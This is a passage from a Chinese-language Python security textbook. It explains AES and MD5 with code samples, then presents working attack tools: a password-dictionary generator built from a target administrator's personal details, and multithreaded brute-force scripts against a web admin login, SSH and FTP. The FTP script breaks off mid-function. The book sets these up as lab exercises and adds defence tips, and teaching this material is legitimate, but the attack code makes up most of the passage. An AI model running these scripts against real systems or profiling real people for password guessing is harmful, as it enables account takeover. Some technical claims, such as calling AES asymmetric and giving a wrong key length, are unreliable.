行移位变换对状态行进行循环移位。在行移位变换中，状态的后三行以不同的移位值循环左移。第0行不移位，第1行向左移动C1字节，第2行向左移动C2字节，第3行向左移动C3字节，移位表如表6-3所示。

表6-3　移位表

3.列混合变换

列混合变换是对状态的列进行混合变换。把状态中的每一列看作GF（2⁸）上的多项式，并与一个固定多项式c（x）相乘，然后与多项式x⁴+1进行取模运算，其中c（x）可表示为

4.圈密钥加变换

圈密钥加变换是利用圈密钥对状态进行模2相加的变换。圈密钥被简单地异或到状态中去。其中，圈密钥长度等于数据块长度。

综上所述，AES加密算法由三部分组成：初始圈密钥加、Nr-l圈的标准轮函数、最后一圈的非标准轮函数。

6.5.2　用Python实现AES加解密

接下来将通过Cryptodome库函数实现对字符串进行AES加密。由于AES为分组密码的加密方式，其工作模式有五种：ECB、CBC、CTR、CFB、OFB。下面将以ECB模式为例，对字符串进行AES加密和解密。

1.AES加密

示例代码如下：

>>>from Cryptodome.Cipher import AES
>>>import binascii
>>>key = b'abcdefghabcdefgh'           # key的长度须为8字节
>>>text = 'ms08067.com'               # 被加密的数据需要为8字节的倍数
>>>text = text + (16 - (len(text) % 16)) * '='
>>>aes = AES.new(key, AES.MODE_ECB)     # ECB模式
>>>encrypto_text = aes.encrypt(text.encode())
>>>encryptResult = binascii.b2a_hex(encrypto_text)
>>>print(text)
>>>print(encryptResult)

运行结果：

ms08067.com=====
b'51d23f9cab201da377c925ac526c4901'

2.AES解密

示例代码如下：

>>>from Cryptodome.Cipher import AES
>>>import binascii
>>>key = b'abcdefghabcdefgh'             # key的长度须为8字节
>>>encryptResult = b'51d23f9cab201da377c925ac526c4901'
>>>aes = AES.new(key, AES.MODE_ECB)     # ECB模式
>>>encrypto_text = binascii.a2b_hex(encryptResult)
>>>decryptResult = aes.decrypt(encrypto_text)
>>>print(decryptResult)

运行结果：

b'ms08067.com====='

AES密码是一个非对称密码体制，它的解密要比加密复杂和费时。解密优化算法在没有增加存储空间的基础上，以列变化为基础进行处理，节约了处理时间。AES是高级数据加密算法，无论是安全性、效率，还是密钥的灵活性等方面，都优于DES数据加密算法，在今后将逐步代替DES，被广泛应用。

6.6　MD5加密算法

MD5（Message-Digest Algorithm，信息摘要算法）是一种被广泛使用的密码散列函数，由美国密码学家罗纳德·李维斯特（Ronald Linn Rivest）设计，于1992年公开，用以取代MD4算法。该算法不仅能对信息管理系统加密，还广泛应用于计算机、数据安全传输、数字签名认证等安全领域。由于该算法具有某些不可逆特征，在加密应用上有较好的安全性。

6.6.1　MD5加密原理

MD5是以512位的分组来处理输入的信息，并且将每一分组又划分成16个32位的子分组，经过了一系列的处理后，算法的输出由四个32位的分组组成，将这四个32位的分组结合后将生成一个128位的散列值。详细的MD5加密算法流程如图6-13所示。

图6-13　MD5加密算法流程

下面介绍其中的关键步骤。

1.填充

在MD5算法中，首先需要将信息进行填充，使其位长对512求余后的结果等于448。即使符合上述条件，也必须进行填充。因此，信息的位长将被扩展至N×512+448，N是一个非负整数。计算原始消息的长度（不包含填充部分），并且附加到填充位与消息之后。该长度值为64位二进制数表示的填充前信息的长度。

2.信息分组

首先将数据按每512位为一组进行分组，如图6-14所示，再把每组里面分成16个32位数据。

图6-14　将输入分组

3.初始化变量

初始化四个链接变量A、B、C、D，它们都是32位的数字，这些链接变量的初始十六进制数值如下所示，低字节在前：

当设置好这四个链接变量后，就开始进入算法的四轮循环运算。将上面四个链接变量复制到另外四个变量中：A到a，B到b，C到c，D到d。

主循环有四轮，每轮循环都很相似，每一轮进行16次操作。每次操作对a、b、c和d的其中三个进行一次非线性函数运算，然后将所得结果加上第四个变量、信息的一个子分组和一个常数，再将所得结果左移一个不确定的数，并加上a、b、c、d之一。

以下是四轮循环中用到的四个非线性函数（每轮一个）：

所有这些操作完成之后，将A、B、C、D分别加上a、b、c、d，然后用下一分组的数据继续运行算法，最后MD5算法产生128位的输出是A、B、C、D的级联，其中低字节始于A，高字节终于D。至此，整个MD5算法处理结束。

6.6.2　用Python实现MD5加密

用Python实现MD5加密时用到的是hashlib模块，可以通过hashlib标准库使用多种Hash算法，如SHA1、SHA224、SHA256、SHA384、SHA512和MD5算法等。下面是通过调用hashlib模块对字符串进行MD5加密的简单实例：

from hashlib import md5

def encrypt_md5(s):
    new_md5 = md5()       # 创建md5对象
    new_md5.update(s.encode(encoding='utf-8'))
    return new_md5.hexdigest()

if __name__ == '__main__':
    print(encrypt_md5('ms08067.com'))

运行结果：

0961f18e7a720a53797aa038c9c643d1

通过在线工具验证，结果如图6-15所示。

图6-15　MD5在线加密的结果

虽然MD5为单向Hash加密，且不可逆，但根据鸽巢原理，MD5算法所产生的32位输出所能够表示的空间大小为1632，即当样本大于1632时就会产生Hash碰撞。由这一结论可知，我们可以生成大量密码样本的Hash，得到密码和Hash值的一一对应关系，然后根据这个对应关系反查，就可以得到Hash值所对应的密码。在互联网应用方面，有相当多的用户使用弱密码，因此可以根据统计规律建立简单密码所对应的MD5值表，从而得到使用简单密码的用户账户。

鉴于存在以上安全性问题，可以在用户密码被创建时生成一个随机字符串（称之为Salt）与用户口令连接在一起，然后再用散列函数对这个字符串进行MD5加密。如果Salt值的数目足够大，它实际上就消除了对常用口令采用的字典式破解，因为攻击者不可能在数据库中存储那么多Salt和用户密码组合后的MD5值。当然，更加安全的做法是，给每个密码设置一个随机的Salt值，这样即使通过暴力枚举破解了一个用户的密码，也很难再破解其他用户的密码。

6.7　小结

本章对常见的加密算法进行了简单介绍，包括Base64编码、DES加密、AES加密、MD5加密，并对每种加密算法通过Python编程的方式进行了举例说明。密码学在信息安全领域扮演着非常重要的角色，是信息安全的基础，其中包含了很多加密方式和标准，本章提到的几个加密算法只是冰山一角，希望读者可以利用自己的空闲时间对其他加密算法和应用进行深入研究。

第7章
身份认证

随着网络技术的普及，人们越来越依赖各种软件和服务，而软件和服务需要一种身份认证模式来区分用户，并授予用户相关的权限。

目前，常见的身份认证模式就是“账号+密码”。只有提供了正确的账号和密码，系统才会允许用户登录并授予用户相关的权限。然而这种身份认证模式很容易受到攻击，用户信息数据泄露的事件也频繁发生，泄露的用户个人信息在互联网上被传播，再结合社会工程学、数据破解等，对这种身份认证模式带来了更大的威胁。

身份认证攻击总的来说分为三种攻击方式：

·字典破解：利用工具提前生成好字典文件，只需让破解脚本对字典的内容逐一尝试破解即可。这种方式效率高，成功率一般。

·暴力破解：这种方式最为粗暴，不需要字典。将所有可能性的密码组合（如字母+数字+特殊字符）全部进行尝试。这种方式需要花费大量的时间，效率很低，但是在没有其他条件限制的情况下肯定能猜到密码，成功率高。

·混合破解：多种破解技术结合使用。这种方法效率高，成功率也较高。

本章侧重于介绍混合破解，这种方法结合了字典破解和暴力破解两者的优点，利用社会工程学的知识生成密码字典，同时在字典中也加入了极具可能性的密码组合。防御方可根据其中原理，针对其弱点完善安全防御系统。

本章主要内容包括：

·社会工程学密码字典的生成。

·后台弱口令爆破及防御措施。

·SSH暴力破解及防御措施。

·FTP暴力破解及防御措施。

7.1　社会工程学密码字典

社会工程学密码字典是破解密码的基础，一份好的字典可以在数据破解的过程中起到事半功倍的效果。利用搜集到的信息，并依据人们设定密码的规律和习惯，生成的社会工程学字典在破解的过程中效果显著。在美剧《黑客军团》中，主角Elliot在获取私人账户信息时，用得最多的就是社会工程学密码字典。

7.1.1　字典的生成

社会工程学密码字典的内容主要分为两个部分：

·常见的用户密码和默认密码。

·利用管理员信息自动生成的密码。

假设我们获取到了目标系统的管理员名字叫“张伟”，我们可以通过搜索引擎以及目标的社交网络查询到他的基本信息。然后可以新建一个名为person_information的文件来存放个人的信息，内容如图7-1所示。

图7-1　个人信息示例

此处所展现的部分信息只是用于演示，在实际情况下，读者可以搜集更多与目标有关的信息。搜集到的信息越多，得到的字典中所包含正确的密码概率就越大。同时，我们还需要一份热门的常用密码字典，里面除了包含经常使用的密码外，还有包含许多服务以及软件的默认密码。读者可以访问公众号链接7-1下载各种类型的密码字典文件，如图7-2所示。

这里选用的是名为darkweb2017-top10000.txt的字典文件，将它下载到本地并重命名为TopPwd。此时就有了2个文件，一个是包含目标个人信息的文件person_information，另一个是包含常用密码和默认密码的文件TopPwd。

图7-2　密码字典下载列表

使用Python来编写生成密码字典的脚本需要用到itertools模块。这个模块是Python内置的，用法简单且功能强大。下面先介绍itertools，这个模块里提供了很多函数，此处主要讲解3个需要用的函数：

·permutation（iterable，r）：返回iterable中元素所有组合长度为r的项目序列，r省略则默认取iterable中项目的数量。例如itertools.Permutations（'abc'，3），从“abc”中按顺序排列组合长度为3进行输出，即abc，acb，bac，bca，cab，cba。

·product（*iterables[，repeat]）：可以获得多个循环器的笛卡儿积。例如product（"123"，"abc"），得到的结果是1a，1b，1c，2a，2b，2c，3a，3b，3c。

·repeat（object[，times]）：这个函数的作用就是重复元素，未指定times则会一直重复。例如repeat（100），即100，100，100……

接下来编写一个密码字典的生成脚本，具体步骤如下。

1）写入脚本信息，导入相关模块：

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import itertools

2）创建ReadInformationList（）函数，读取用户的个人信息，存入用户信息列表：

def ReadInformationList():
    try:
        # 读取个人信息文件，并按行存入lines
        informationFile = open('person_information', 'r')
        lines = informationFile.readlines()
        for line in lines:
            infolist.append(line.strip().split(':')[1])
    except Exception as e:
        print(e + "\n")
        print("Read person_information error!")

3）创建CreateNumberList（）函数，创建数字内容，存入数字列表：

def CreateNumberList():
    # 数字元素
    words = "0123456789"
    # 利用itertools来产生不同数字排列，数字组合长度为3
    itertoolsNumberList = itertools.product(words, repeat=3)
    for number in itertoolsNumberList:
        # 写入数字列表备用
        numberList.append("".join(number))

4）创建CreateSpecialList（）函数，创建特殊字符，并写入特殊字符列表：

def CreateSpecialList():
    specialWords = "`~!@#$%^&*()?|/><,."
    for i in specialWords:
        specialList.append("".join(i))

5）创建AddTopPwd（）函数，读取TopPwd文件的内容，先存入字典文件：

def AddTopPwd():
    try:
        # 读取TopPwd文件，并先存入password字典文件
        informationFile = open('TopPwd', 'r')
        lines = informationFile.readlines()
        for line in lines:
            dictionaryFile.write(line)
    except Exception as e:
        print(e + "\n")
        print("Read TopPwd error!")

6）创建Combination（）函数，字典生成算法主体，读者也可以增加自己的代码：

def Combination():
    for a in range(len(infolist)):
        # 把个人信息大于等于8位的直接输出到字典
        if (len(infolist[a]) >= 8):
            dictionaryFile.write(infolist[a] + '\n')
        # 对于小于8位的个人信息，利用数字补全到8位输出
        else:
            needWords = 8 - len(infolist[a])
            for b in itertools.permutations("1234567890", needWords):
                dictionaryFile.write(infolist[a] + ''.join(b) + '\n')
        # 把个人信息元素两两进行相互拼接，大于等于8位的输出到字典
        for c in range(0, len(infolist)):
            if (len(infolist[a] + infolist[c]) >= 8):
                dictionaryFile.write(infolist[a] + infolist[c] + '\n')
                # 在两个个人信息元素中加入特殊字符组合起来，大于等于8位就输出到字典
        for d in range(0, len(infolist)):
            for e in range(0, len(specialList)):
                if (len(infolist[a] + specialList[e] + infolist[d]) >= 8):
                    # 特殊字符加在尾部
                    dictionaryFile.write(infolist[a] + infolist[d] +
                        specialList[e] + '\n')
                    # 特殊字符加在中部
                    dictionaryFile.write(infolist[a] + specialList[e] +
                        infolist[d] + '\n')
                    # 特殊字符加在头部
                    dictionaryFile.write(specialList[e] + infolist[a] +
                        infolist[d] + '\n')
    # 关闭字典文件对象
dictionaryFile.close()

7）编写main函数，创建相关的数据列表：

if __name__ == '__main__':
    # 字典文件对象
    global dictionaryFile
    # 创建字典文件
    dictionaryFile = open('passwords', 'w')
    # 用户信息列表
    global infolist
    infolist = []
    # 数字列表
    global numberList
    numberList = []
    # 特殊字符列表
    global specialList
    specialList = []
    # 读取个人信息文件dictionaryFile
    ReadInformationList()
    # 创建数字列表
    CreateNumberList()
    # 创建特殊字符列表
    CreateSpecialList()
    # 把常见密码先写入字典文件
    AddTopPwd()
    # 字典生成主体，将个人信息+数字列表+特殊字符列表进行组合并加入字典
    Combination()
print('\n' + u"字典生成成功！" + '\n' + '\n' + u"字典文件名：passwords")

这样，字典生成脚本的功能函数就完成了。输入以下命令执行字典生成脚本：

此时，新生成一个名为passwords的密码字典文件，里面就是生成好的密码，如下所示：

密码字典部分内容如下所示：

这样，密码字典就生成好了。接下来，对于各类服务的身份认证攻击都需要使用这样的密码字典。

7.1.2　防御策略

在网络飞速发展的时代，人们的生活越来越离不开网络，网站、网游、App等时常索要我们的信息，信息泄露的事件也屡见不鲜。我们不能完全确保信息不泄露，但是可以减少信息泄露以及泄露后带来的危害。防止生成社会工程学密码字典，需要做到以下几点：

·在丢弃各种快递单、凭据前，将个人信息涂抹掉。

·注册账号、填写个人信息时，对于非关键信息尽量不填或者随意填写。

·减少密码与个人信息的关联程度。

·社交媒体发送动态时，注意遮盖敏感信息。

·准备多个手机号、邮箱、账号等，分别用于不同用途。

7.2　后台弱口令问题

网站的运营管理不能缺少后台管理系统的支持，若能成功进入后台管理系统，就意味着在Web渗透测试中成功了一大半。进行非授权登录有很多种方法，这里主要介绍的是弱口令问题，破解弱口令是进入系统的最常见也是最有效的方法，防御方要对该方法加以重视。

7.2.1　编写脚本

首先，我们需要在靶机上搭建服务器，这里靶机的系统为Windows 10（IP地址为192.168.123.124），具体步骤如下。

首先安装phpStudy并启动服务，这样服务器就会在80端口上对外提供HTTP的服务，如图7-3所示。

图7-3　安装phpStudy并启动服务

然后将这里的靶场源码文件（WeakPass-word）复制到phpStudy的网站根目录下。可以点击phpStudy界面上的“其他选项菜单”按钮，再选择“网站根目录”，此时会自动弹出网站根目录。

打开浏览器，输入http://192.168.123.124/WeakPassword/login.html，如图7-4所示。

图7-4　靶机页面

提示：若出现无法访问靶机网页的情况，请检查靶机的防火墙是否开放80端口。

此时靶机的HTTP服务是正常启动的，这里还需要在数据库中增加管理员的账号、密码数据。接下来需要在靶机服务器上安装Navicat for MySQL工具来管理数据库，该工具界面如图7-5所示。

图7-5　Navicat for MySQL工具

点击“连接”按钮，新建一个MySQL连接，填写的信息如下：

这里需要注意的是，IP地址127.0.0.1和localhost都表示本地的MySQL数据库，如果将IP地址填写为靶机服务器的IP地址192.168.123.124，则会出现拒绝连接的情况，如图7-6所示。

图7-6　拒绝连接

这是因为MySQL默认是拒绝远程用户通过root进行登录的，可修改MySQL数据库中user表的内容来解决这个问题。填写完信息后，可以点击“连接测试”按钮来测试数据库是否能够正常访问，如果能正常访问，则会出现“连接成功”的提示，如图7-7所示。

然后点击“确定”按钮，连接就会出现在左侧栏的连接信息窗口里面。接下来双击打开数据库并右击，选择“运行SQL文件”命令，选择ms08067.sql文件并点击“开始”按钮，成功导入数据时会出现如图7-8所示的提示。

图7-7　连接成功

图7-8　导入数据成功

到这里，我们的靶场环境就搭建成功了。

接下来，需要对网页提交的POST数据包进行分析，找出弱口令破解所需要的字段信息。这里使用Burp Suite对网页提交的数据包进行拦截并查看，信息如下所示：

此时，将这个数据包发送出去，网页中会出现“Login failed！”的提示，说明登录失败。

假设在前期的信息搜集过程中我们知道了该后台系统管理员的个人基本信息（这里采用7.1.1节中的数据），那么，现在只需要让脚本读取7.1.1节生成的社会工程学密码字典文件，并模拟发送POST数据包，若返回的页面内不包含“Login failed！”字符串信息，则表示我们找到了正确的密码。

设计思路：为了确保爆破弱密码的高效性，我们采用了多线程的方式，让脚本分别读取目录下的username和passwords文件的内容，并将读取到的内容根据BLOCK_SIZE的大小分割成许多的账户块和密码块，让每个子线程遍历自己分配到的账户块和密码块中的数据，模拟POST请求进行破解，若子线程找到了正确的账户密码，则显示结果并保存到result文件中，然后退出脚本。

接下来就可以开始编写后台密码爆破脚本了。

1）写入脚本信息，导入相关的模块：

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import os
import threading
import requests

# 分块大小
BLOCK_SIZE = 1000

2）编写列表分块函数，将传入的列表分割成多个子列表：

# 列表分块函数
def partition(ls, size):
    return [ls[i:i+size] for i in range(0,len(ls),size)]

3）编写破解函数，该函数主要负责对数据进行分割、创建子线程并分配任务等前期工作：

def BruteForceHttp():
    # 读取账号文件和密码文件并存入对应列表
    listUsername = [line.strip() for line in open("username")]
    listPassword = [line.strip() for line in open("passwords")]
    # 对账号列表和密码列表进行分块处理
    blockUsername = partition(listUsername, BLOCK_SIZE)
    blockPassword = partition(listPassword, BLOCK_SIZE)
    threads = []
    # 把不同的密码子块分给不同的线程去破解
    for sonUserBlock in blockUsername:
        for sonPwdBlock in blockPassword:
            # 传入账号子块和密码子块实例化任务
            work = ThreadWork(sonUserBlock,sonPwdBlock)
            # 创建线程
            workThread = threading.Thread(target=work.start)
            # 在threads中加入线程
            threads.append(workThread)
    # 开始子线程
    for t in threads:
        t.start()
    # 阻塞主线程，等待所有子线程完成工作
    for t in threads:
        t.join()

4）创建子线程任务类，在其中具体定义子线程应该如何进行破解工作：

class ThreadWork:
        # 目标URL
        url = "http://192.168.123.124/WeakPassword/login.php"
        headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3)
                AppleWebKit/535.20 '
            '(KHTML, like Gecko) '
            'Chrome/19.0.1036.7 Safari/535.20'
        }
        # 类的构造函数
        def __init__(self,username,password):
            self.username = username
            self.password = password
        # 根据传入的账户密码进行破解
        def run(self,username,password):
            data = {
                    'username': username,
                    'password': password,
                    'submit': '%E7%99%BB%E5%BD%95'
            }
            # 显示正在尝试的数据
            print("username:{},password:{}".format(username,password))
            # 发送post请求
            response = requests.post(self.url,data=data,headers=self.headers)
            # 根据返回的内容中是否包含登录失败的提示来判断是否登录成功
            if 'Login failed!' in response.text:
                pass
            else:
                # 找到正确的账户密码后，就把账户密码显示出来并输出到result文件中，并
                  让程序终止
                print("success!!! username: {}, password: {}".format
                    (username, password))
                resultFile = open('result','w')
                resultFile.write("success!!! username: {}, password: {}".
                    format(username, password))
                resultFile.close()
                # 程序终止，0表示正常退出
                os._exit(0)
            # 从传递进来的账户子块和密码子块中遍历数据
        def start(self):
            for userItem in self.username:
                for pwdItem in self.password:
                    # 传入账户和密码数据进行破解
                    self.run(userItem,pwdItem)

5）编写main函数：

if __name__ == '__main__':
    print("\n#####################################")
    print("#         => MS08067 <=             #")
    print("#                                   #")
    print("#     WeakPassowrd experiment       #")
    print("#####################################\n")

    BruteForceHttp()

这样我们的破解脚本就完成了。运行后结果如下所示：

7.2.2　防御策略

通过上述编写脚本的过程我们也可以看出，通过脚本使具有可能性的密码组合不断地猜解后台的密码，很有可能找到弱口令。因此，要预防弱口令爆破，可以使用以下方式：

·设定密码验证阈值，超过阈值将进行锁定。

·使用的密码尽量具有一定的复杂性，避免使用个人信息作为密码。推荐使用类似1Password的密码管理工具。

·定期更换密码。

·更改后台的默认路径，避免后台地址被猜测到。

7.3　SSH口令问题

SSH（Secure Shell）是目前较可靠、专为远程登录会话和其他网络服务提供安全性的协议，主要用于给远程登录会话数据进行加密，保证数据传输的安全。SSH口令长度太短或者复杂度不够，如仅包含数字或仅包含字母等时，容易被攻击者破解。口令一旦被攻击者获取，将可用来直接登录系统，控制服务器的所有权限！

7.3.1　编写脚本

SSH主要应用于类UNIX系统中。Telnet是Windows下的远程终端协议，但是由于Telnet在传输的过程中没有使用任何加密方式，数据通过明文方式传输，所以被认为是不安全的协议。而SSH协议可以有效地防止远程管理过程中的信息泄露问题，所以SSH成了目前远程管理的首选协议。

从客户端来看，SSH提供两种级别的安全验证：

·基于密码的安全验证：只要知道账户和密码，就可以登录到远程主机，并且所有传输的数据都会被加密。但是，如果有别的服务器在冒充真正的服务器，那么将无法避免“中间人”攻击，同时你的账户密码也可能会受到暴力破解。

·基于密钥的安全验证：该级别需要依靠密钥。首先必须创建一对密钥，并把公钥重命名为authorized_keys，放在需要访问的服务器上。客户端向服务器发出连接请求，请求信息包含IP地址和用户名。服务器接收到请求后，会到authorized_keys中查找，如果找到有对应响应的IP和用户名，则会随机生成一个字符串，并用你的公钥进行加密，然后发送回来。客户端接收到加密信息后，用私钥进行解密，并把解密后的字符串发送回服务器进行验证，服务器把解密后的字符串与之前生成的字符串进行对比，如果一致就允许登录。这样可以避免“中间人”攻击，而且由于验证的过程不存在口令传输，所以也能避免暴力破解。

接下来介绍如何编写脚本来破解SSH口令。这次增加对脚本的传参功能，使得脚本能根据用户的参数来调整破解方式。具体步骤如下。

1）写入脚本信息，导入相关模块：

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import optparse
import sys
import os
import threading
import paramiko

2）编写一个分块函数，我们根据用户的线程数进行分割，一个线程负责一个账户密码子列表：

# 列表分块函数
def partition(list, num):
    # step为每个子列表的长度
    step = int(len(list) / num)
    # 若线程数大于列表长度，则不对列表进行分割，防止报错
    if step == 0:
        step = num
    partList = [list[i:i+step] for i in range(0,len(list),step)]
    return partList

3）编写破解函数，该函数主要负责分割数据、创建子线程、分配任务等前期工作：

def SshExploit(ip,usernameFile,passwordFile,threadNumber,sshPort):
    print("============破解信息============")
    print("IP:" + ip)
    print("UserName:" + usernameFile)
    print("PassWord:" + passwordFile)
    print("Threads:" + str(threadNumber))
    print("Port:" + sshPort)
    print("=================================")

    # 读取账户文件和密码文件并存入对应列表
    listUsername = [line.strip() for line in open(usernameFile)]
    listPassword = [line.strip() for line in open(passwordFile)]
    # 将账户列表和密码列表根据线程数量进行分块
    blockUsername = partition(listUsername, threadNumber)
    blockPassword = partition(listPassword, threadNumber)
    threads = []
    # 为每个线程分配一个账户密码子块
    for sonUserBlock in blockUsername:
        for sonPwdBlock in blockPassword:
            work = ThreadWork(ip,sonUserBlock, sonPwdBlock,sshPort)
            # 创建线程
            workThread = threading.Thread(target=work.start)
            # 在threads中加入线程
            threads.append(workThread)
    # 开始子线程
    for t in threads:
        t.start()
    # 阻塞主线程，等待所有子线程完成工作
    for t in threads:
        t.join()

4）编写子线程类。子线程根据给定的SSH信息进行连接，若账户密码正确，则写入result文件并退出程序。由于破解可能导致服务器无法响应一些线程的请求，因此通过捕获异常让线程对当前的账户密码继续进行验证，防止报错导致当前请求丢失：

class ThreadWork(threading.Thread):
    def __init__(self,ip,usernameBlocak,passwordBlocak,port):
        threading.Thread.__init__(self)
        self.ip = ip;
        self.port = port
        self.usernameBlocak = usernameBlocak
        self.passwordBlocak = passwordBlocak

    def run(self,username,password):
        '''
            用死循环防止因为Error reading SSH protocol banner错误
            而出现线程没有验证账户和密码是否正确就被抛弃掉的情况
        '''
        while True:
            try:
                # 设置日志文件
                paramiko.util.log_to_file("SSHattack.log")
                ssh = paramiko.SSHClient()
                # 接受不在本地Known_host文件下的主机
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                # 用sys.stdout.write输出信息，解决用print输出时错位的问题
                sys.stdout.write("[*]ssh[{}:{}:{}] => {}\n".format
                    (username, password, self.port, self.ip))
                ssh.connect(hostname=self.ip, port=self.port, username=
                    username, password=password, timeout=10)
                ssh.close()
                print("[+]success!!! username: {}, password: {}".format
                    (username, password))
                # 把结果写入result文件
                resultFile = open('result', 'a')
                resultFile.write("success!!! username: {}, password: {}".
                    format(username, password))
                resultFile.close()
                # 程序终止，0表示正常退出
                os._exit(0)
            except paramiko.ssh_exception.AuthenticationException as e:
                # 捕获Authentication failed错误
                # 说明账户密码错误，用break跳出循环
                break
            except paramiko.ssh_exception.SSHException as e:
                # 捕获Error reading SSH protocol banner错误
                # 请求过多导致的问题用pass忽略掉，让线程继续请求，直到该次请求的账户
                  密码被验证
                pass

    def start(self):
            # 从账户子块和密码子块中提取数据，分配给线程进行破解
            for userItem in self.usernameBlocak:
                for pwdItem in self.passwordBlocak:
                    self.run(userItem,pwdItem)

5）编写main函数。其中通过parser.add_option（）函数来增加参数的定义，脚本根据对应参数的值来进行破解：

if __name__ == '__main__':

    print("\n#####################################")
    print("#         => MS08067 <=             #")
    print("#                                  #")
    print("#          SSH  experiment         #")
    print("#####################################\n")

    parser = optparse.OptionParser('usage: python %prog target [options] \n\n'
        'Example: python %prog 127.0.0.1 -u ./username -p ./passwords -t 20\n')
    # 添加目标主机参数-i
    parser.add_option('-i', '--ip', dest='IP',
                        default='127.0.0.1', type='string',
                        help='target IP')
    # 添加线程参数-t
    parser.add_option('-t', '--threads', dest='threadNum',
                        default=10, type='int',
                        help='Number of threads [default = 10]')
    # 添加用户名文件参数-u
    parser.add_option('-u', '--username', dest='userName',
                        default='./username', type='string',
                        help='username file')
    # 添加密码文件参数-p
    parser.add_option('-p', '--password', dest='passWord',
                        default='./password', type='string',
                        help='password file')
    # 添加SSH端口参数-P
    parser.add_option('-P', '--port', dest='port',
                        default='22', type='string',
                        help='ssh port')
    (options, args) = parser.parse_args()

    SshExploit(options.IP, options.userName, options.passWord,
        options.threadNum,options.port)

至此，SSH口令破解脚本就完成了。我们尝试对本地的靶机进行破解。需要注意的是，在破解的过程中，线程数过大容易对目标造成DoS攻击，请把线程数选择在合适的范围内。运行脚本如图7-9所示。

图7-9　破解过程

脚本的运行结果如图7-10所示。

图7-10　破解成功

7.3.2　防御策略

SSH常用于服务器的管理，若密码被破解成功，那么服务器就能被他人所控制。对于SSH破解的防御，也可以借鉴弱口令问题相关的防御手段，这里再补充几点：

·修改SSH的默认端口。

·使用非root账户登录。

·使用SSH证书登录代替密码登录。

·使用IP白名单。

7.4　FTP口令问题

FTP（File Transfer Protocol，文件传输协议）是一个文件传输协议，用户通过FTP可从客户机程序向远程主机上传或下载文件，常用于网站代码维护、日常源码备份等。如果攻击者通过FTP匿名访问或者通过弱口令破解获取FTP权限，将可直接上传WebShell来进一步渗透提权，直至控制整个网站服务器。

7.4.1　编写脚本

FTP是基于TCP的，FTP的命令端口为21，数据端口为20。FTP的任务是将一台计算机的文件传送到另一台计算机上。在使用FTP前需要进行身份验证，验证通过后才能获得相应的权限。这里我们简单介绍一下FTP的基础知识。

FTP中有三种用户类型：

·Real账户：默认的主目录就是用其账户命名的目录，同时也可以切换到系统中的其他目录。

·Guest用户：默认的主目录就是用其账户命名的目录，只能访问自己的主目录，不能查看其他目录。

·Anonymous用户：在FTP服务器中没有指定账户，但是其仍然可以匿名访问某些公开的资源。

FTP中有两种工作模式：

·Port（主动）模式：FTP客户端从任意一个大于1024（N）的端口主动连接FTP服务器的21端口（命令端口）来建立连接，用来发送命令，同时监听N+1端口。当客户端需要接收数据时，则会发送一个PORT命令给FTP服务器，FTP服务器则会通过20端口（数据端口）来与客户端的N+1端口建立连接并传输数据，如图7-11所示。

·PASV（被动）模式：客户端同样会开启两个大于1024的端口（N，N+1），第一个同样是用来连接FTP服务器的21端口，但是客户端不会提交PORT命令，而是提交PASV命令，FTP服务器收到PASV命令后会开启一个大于1024的端口（P），并发送PORT命令给客户端，然后客户端从N+1端口主动连接到FTP服务器开启的端口P用来传送数据。

图7-11　FTP主动工作模式

该模式主要用于防火墙之后的FTP客户端访问外界FTP服务器的情况，因为如果是外界的FTP服务器主动对FTP客户端建立连接的话，会被防火墙阻止，所以只能让防火墙之后的客户端主动去连接服务器，如图7-12所示。

图7-12　FTP被动工作模式

Python中默认安装的ftplib模块是专门用于支持FTP操作的，该模块提供了用来实现FTP登录、上传和下载等功能的函数，我们只需要调用相应的功能函数即可完成对FTP的操作。这里主要介绍脚本所需要使用的函数：

·ftp.connect（"IP"，"port"，"timeout"）：对指定的FTP服务器进行连接。

·ftp.login（"username"，"password"）：指定连接所需的用户名和密码，如果为空，则默认进行匿名登录。

·ftp.quit（）：与FTP服务器断开连接。

具体步骤如下：

1）写入脚本的信息，导入相关的模块：

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import ftplib
import os
import optparse
import threading

2）编写匿名用户登录检查函数，检查FTP是否允许匿名用户登录：

def CheckAnonymous(FTPserver):
    try:
        # 检测是否允许匿名用户登录
        print('[-] checking user [anonymous] with password [anonymous]')
        f = ftplib.FTP(FTPserver)
        f.connect(FTPserver, 21, timeout=10)
        f.login()
        print ("\n[+] Credentials have found successfully.")
        print ("\n[+] Username : anonymous")
        print ("\n[+] Password : anonymous")
        resultFile = open('result', 'a')
        resultFile.write("success!!!username:{},password: {}".format
            ("anonymous", "anonymous"))
        resultFile.close()
        f.quit()
    except ftplib.all_errors:
        pass

3）编写线程类，当线程找到正确的账户或密码时，将其写入文件并退出程序：

class ThreadWork(threading.Thread):
    def __init__(self,ip,usernameBlocak,passwordBlocak,port):
        threading.Thread.__init__(self)
        self.ip = ip
        self.port = int(port)
        self.usernameBlocak = usernameBlocak
        self.passwordBlocak = passwordBlocak

    def start(self):
        # 从账户子块和密码子块中提取数据，分配给线程进行破解
        for userItem in self.usernameBlocak:
            for pwdItem in self.passwordBlocak:
                self.run(userItem,pwdItem)

    def run(self, username, password):
        try:
            print('[-]checking user[' + username + '],password[' + password + ']')
            f = ftplib.FTP(self.ip)
            f.connect(self.ip, self.port, timeout=15)
            # 若账户或密码错误，则会抛出异常
            f.login(username, password)
            f.quit()
            print ("\n[+] Credentials have found successfully.")
            print ("\n[+] Username : {}".format(username))
            print ("\n[+] Password : {}".format(password))
            resultFile = open('result', 'a')
            resultFile.write("success!!! username: {}, password: {}".format
                (username, password))
            resultFile.close()
            # 找到正确的账户和密码就退出程序
            os._exit(0)
        # 捕捉账户、密码错误异常
        except ftplib.error_perm:
            pass

4）编写破解函数，如下所示：

def FTPExploit(ip,usernameFile,passwordFile,threadNumber,ftpPort):
    print("============破解信息============")
    print("IP:" + ip)
    print("UserName:" + usernameFile)
    print("PassWord:" + passwordFile)
    print("Threads:" + str(threadNumber))
    print("Port:" + ftpPort)
    print("=================================")
    # 先检查是否允许匿名用户登录
    CheckAnonymous(ip)
    # 读取账户文件和密码文件，并存入对应列表
    listUsername = [line.strip() for line in open(usernameFile)]
    listPassword = [line.strip() for line in open(passwordFile)]
    # 将账户列表和密码列表根据线程数量进行分块
    blockUsername = partition(listUsername, threadNumber)
    blockPassword = partition(listPassword, threadNumber)

    threads = []
